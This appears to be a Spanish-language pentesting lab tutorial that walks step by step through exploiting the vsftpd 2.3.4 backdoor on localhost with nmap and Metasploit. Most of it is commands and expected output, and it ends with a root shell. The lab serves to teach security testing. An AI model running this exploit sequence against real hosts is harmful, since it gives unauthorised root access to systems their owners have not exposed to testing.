Introducción
En este laboratorio, asumirá el rol de un pentester y aprenderá a utilizar Metasploit Framework para explotar una vulnerabilidad conocida en un servicio común. Específicamente, se dirigirá a vsftpd (Very Secure FTP Daemon) versión 2.3.4, que contiene una famosa puerta trasera (backdoor).
Metasploit es un potente framework de pruebas de penetración de código abierto que simplifica el hacking. Es una herramienta esencial para los profesionales de la seguridad. Seguirá el proceso estándar de pruebas de penetración: escanear el objetivo para identificar servicios, encontrar un exploit adecuado, configurarlo y lanzar el ataque para obtener el control del sistema objetivo. Para este laboratorio, su máquina objetivo será el entorno local (localhost).
Identificar un servicio vsftpd vulnerable
En este paso, realizará reconocimiento, la primera fase de cualquier prueba de penetración. El objetivo es escanear el objetivo para descubrir puertos abiertos e identificar las versiones de los servicios que se ejecutan en ellos. Esta información es crucial para encontrar posibles vulnerabilidades. Utilizaremos nmap, una potente herramienta de escaneo de red, para este propósito.
Primero, abra una terminal. Escanearemos nuestra máquina local, que actúa como objetivo. La dirección IP de la máquina local es 127.0.0.1.
Ejecute el siguiente comando nmap para realizar un escaneo de versión de servicio (-sV) en el objetivo:
nmap -sV 127.0.0.1
Una vez completado el escaneo, nmap informará sobre los puertos abiertos y los servicios que ha identificado. Para este laboratorio, nos interesa el servicio FTP que se ejecuta en el puerto 21.
Su salida debería ser similar a esta. Observe la información de la versión del servicio FTP.
Starting Nmap 7.80 ( https://nmap.org ) at ...
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0001s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in ... seconds
La salida muestra claramente que vsftpd 2.3.4 se está ejecutando en el puerto 21. Se sabe que esta versión específica contiene una puerta trasera (backdoor), lo que la convierte en un objetivo ideal para nuestro exploit.
Seleccionar el módulo de exploit vsftpd_234_backdoor
En este paso, iniciará Metasploit Framework y encontrará el módulo de exploit correcto para atacar el servicio vsftpd 2.3.4.
Primero, inicie la consola de Metasploit. Usamos la bandera -q (quiet) para omitir el banner y comenzar más rápido.
msfconsole -q
Una vez que Metasploit se cargue, verá el prompt msf6 >. Ahora, puede buscar exploits relacionados con vsftpd. Utilice el comando search:
search vsftpd
Metasploit mostrará una lista de módulos coincidentes. Debería ver un exploit específicamente para la puerta trasera (backdoor) en vsftpd 2.3.4.
Matching Modules
================
## Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent Yes VSFTPD v2.3.4 Backdoor Command Execution
1 auxiliary/scanner/ftp/ftp_version normal No FTP Version Scanner
El módulo exploit/unix/ftp/vsftpd_234_backdoor es exactamente lo que necesitamos. Tiene una clasificación "excellent" (excelente), lo que significa que es muy confiable. Para cargar este módulo, use el comando use seguido del nombre completo del módulo o su número de los resultados de la búsqueda.
use exploit/unix/ftp/vsftpd_234_backdoor
Después de ejecutar el comando, su prompt cambiará a msf6 exploit(unix/ftp/vsftpd_234_backdoor) >, lo que indica que el módulo de exploit está ahora activo.
Establecer la opción RHOSTS a la dirección IP del objetivo
En este paso, configurará el módulo de exploit. La mayoría de los módulos requieren que establezca opciones, como la dirección IP del objetivo.
Con el módulo vsftpd_234_backdoor cargado, puede ver sus opciones utilizando el comando show options.
show options
Este comando mostrará una tabla de todas las opciones disponibles para este módulo, su configuración actual y si son requeridas.
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 21 yes The target port (TCP)
Payload options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 Automatic
Como puede ver, RHOSTS (Remote Hosts) es requerido, pero no tiene ningún valor establecido. Necesita establecer esto a la dirección IP de nuestra máquina objetivo, que es 127.0.0.1.
Utilice el comando set para configurar la opción RHOSTS:
set RHOSTS 127.0.0.1
Para confirmar que la opción se estableció correctamente, puede ejecutar show options nuevamente. Verá que RHOSTS ahora tiene el valor 127.0.0.1.
Usar el comando check para verificar si el objetivo es vulnerable
En este paso, utilizará una forma segura de probar si el objetivo es realmente vulnerable al exploit seleccionado. Metasploit proporciona un comando check para muchos módulos, que le permite verificar la vulnerabilidad sin lanzar un ataque completo. Esto es útil para evitar la detección y las caídas del sistema.
Ahora que el módulo de exploit está configurado con la dirección IP del objetivo, simplemente ejecute el comando check:
check
Metasploit intentará sondear el servicio objetivo para determinar si la puerta trasera (backdoor) existe. Si el objetivo es vulnerable, verá un mensaje de confirmación.
[+] 127.0.0.1:21 - The target is vulnerable.
El mensaje [+] The target is vulnerable. confirma que el servicio vsftpd en 127.0.0.1 tiene la puerta trasera. Ahora está listo para lanzar el exploit. Si el objetivo no fuera vulnerable, normalmente informaría que el objetivo no es explotable.
Ejecutar el exploit y obtener un shell de comandos
En este paso, ejecutará el exploit para obtener acceso no autorizado al sistema objetivo. Dado que el comando check confirmó que el objetivo es vulnerable, el exploit debería tener éxito.
El comando para lanzar el ataque es exploit. También puede usar su alias, run.
exploit
Metasploit enviará ahora la carga útil maliciosa al servicio vsftpd. Se activará la puerta trasera (backdoor), abriendo un shell de comandos en un puerto diferente (el puerto 6200 en este caso). Metasploit se conectará a este nuevo shell, dándole acceso directo a la línea de comandos del objetivo.
La salida se verá así:
[*] 127.0.0.1:21 - Found the backdoor service on port 6200!
[*] 127.0.0.1:21 - Sending trigger...
[*] Command shell session 1 opened (127.0.0.1:38974 -> 127.0.0.1:6200) at 2023-10-27 10:30:00 -0400
¡Ahora tiene un shell de comandos en la máquina objetivo! Observe que el prompt ha desaparecido. Ahora puede ejecutar comandos como si estuviera conectado directamente al objetivo. Verifiquemos nuestro nivel de acceso ejecutando el comando whoami.
whoami
La salida debería ser:
root
Esto confirma que ha obtenido un shell de root, lo que le otorga control total sobre el sistema objetivo. Para salir del shell y volver al prompt de Metasploit, escriba exit.
Resumen
¡Felicitaciones por completar con éxito este laboratorio! Ha aprendido el flujo de trabajo fundamental de una prueba de penetración utilizando el Metasploit Framework.
En este laboratorio, usted:
- Utilizó
nmappara realizar reconocimiento e identificar un servicio vulnerablevsftpd 2.3.4. - Inició la consola de Metasploit y buscó un exploit relevante.
- Seleccionó y configuró el módulo de exploit
vsftpd_234_backdoorestableciendo la opciónRHOSTS. - Verificó de forma segura la vulnerabilidad del objetivo utilizando el comando
check. - Ejecutó el comando
exploitpara obtener un shell de comandos a nivel de root en el sistema objetivo.
Este ejercicio demuestra cómo una vulnerabilidad simple y sin parches puede llevar a un compromiso completo del sistema. Resalta la importancia de mantener el software actualizado y el poder de herramientas como Metasploit tanto para hackers éticos como para atacantes maliciosos.


